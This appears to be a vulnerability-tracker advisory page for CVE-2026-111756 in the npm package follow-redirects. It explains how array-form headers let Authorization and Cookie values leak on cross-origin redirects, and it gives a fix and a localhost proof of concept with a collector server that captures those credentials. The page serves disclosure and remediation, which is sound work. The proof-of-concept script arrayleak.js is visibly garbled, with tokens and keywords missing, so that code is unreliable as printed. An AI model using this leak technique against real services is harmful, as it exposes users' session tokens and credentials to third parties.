Live › vulnerability › CVE-2026-111756
Go to dashboardfollow-redirects does not strip Authorization, Cookie, Proxy-Authorization or sensitiveHeaders when the caller passes headers as Node's alternating name/value array, so a cross-origin or HTTPS-to-HTTP redirect forwards those credentials to the redirect target. Any remote server the application contacts can capture them by answering with a redirect.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| follow-redirects | npm | >= 1.16.0, < 1.16.1 | 1.16.1 |
Search the codebase and lockfiles for follow-redirects: run npm ls follow-redirects and look for versions >= 1.16.0 and < 1.16.1.
Check whether any code calls follow-redirects http/https request with headers passed as an array (e.g. headers: ["Authorization", ...]) rather than an object.
1.16.1 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared sensitiveHeaders) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with for...in and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying http.request, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, for...in yields the numeric indices "0", "1", "2" and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The sensitiveHeaders option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.
The cross-origin credential-stripping control is implemented by removeMatchingHeaders(regex, headers) at index.js:630-640:
function removeMatchingHeaders(regex, headers) {
var lastValue;
for (var header in headers) { // for...in over an ARRAY yields "0","1","2"...
if (regex.test(header)) { // the header-name filter never matches a numeric index
lastValue = headers[header];
delete headers[header];
}
}
return (lastValue === null || typeof lastValue === "undefined") ?
undefined : String(lastValue).trim();
}
It is invoked from _processResponse for three purposes, all with the caller-supplied this._options.headers:
index.js:490 - strip the credential filter (this._headerFilter, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any sensitiveHeaders) when the redirect crosses origin or downgrades protocol.index.js:470 - strip the Host header (/^host$/i).index.js:466 - strip content-* headers when a 301/302/303 converts POST to GET.The caller-supplied headers container is passed straight through to each redirected request via nativeProtocol.request(this._options) at index.js:352. _sanitizeOptions (index.js:300-331) only replaces options.headers when it is falsy, so an array is left untouched.
Node's http.request accepts options.headers as an alternating array of names and values (for example ["Authorization", "Bearer ...", "Cookie", "session=..."]). This is a supported way to control header ordering and duplication. For such an array, for (var header in headers) iterates the numeric indices "0", "1", "2", and the header-name regex never matches any of them, so removeMatchingHeaders deletes nothing. Every one of the three strip operations above silently no-ops:
sensitiveHeaders the caller declared are forwarded too.Host of the previous origin is re-sent to the new origin.content-* headers are retained, leaving Content-Length inconsistent with the now-empty body.The primary and highest-impact consequence is disclosure of credential headers. The stale Host re-send and the Content-Length inconsistency are secondary correctness defects arising from the same root cause.
Root-cause history: the for...in-based removeMatchingHeaders used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit 724087d, first released in v1.11.0) and is unchanged through 1.16.0. The sensitiveHeaders layer was introduced in 1.16.0 (commit 844c4d3). The behavior was verified directly on both 1.15.11 and 1.16.0.
Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect Array.isArray(options.headers) in _sanitizeOptions and throw a clear TypeError instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend removeMatchingHeaders to walk the array in name/value pairs:
function removeMatchingHeaders(regex, headers) {
if (Array.isArray(headers)) {
var lastValue;
for (var i = 0; i < headers.length; i += 2) {
if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }
}
return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim();
}
// existing object logic
}
Apply the same guard to the Host and content-* removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.
References:
Environment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.
Precondition check (Node accepts and serializes array-form headers):
node -e 'var http=require("http");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'
Observed: Bearer T c=1 (the server receives both headers, confirming array form is valid and delivered).
Minimal form (built-in credential list), arrayleak.js:
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // cross-origin (different port)
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers)); // attacker-controlled target
});
redirector.listen(47301, "127.0.0.1", function () {
collector.listen(47302, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 47301, path: "/", method: "GET",
headers: [
"Host", ,
, ,
, ,
,
]
}, () {
body = ; res.(, () { body += c; });
res.(, () {
h = .(body);
.(, h. || );
.(, h. || );
redirector.(); collector.();
});
}).();
});
});
Observed output (1.16.0 and 1.15.11):
Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- credential LEAKED cross-origin
Cookie : session=ARRAY-FORM-SESSION-ID <- credential LEAKED cross-origin
Control: replacing headers with the equivalent object { Host: ..., Authorization: ..., Cookie: ... } and re-running strips both correctly,
This page as .md · .json · in your agent: get_signal("CVE-2026-111756")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.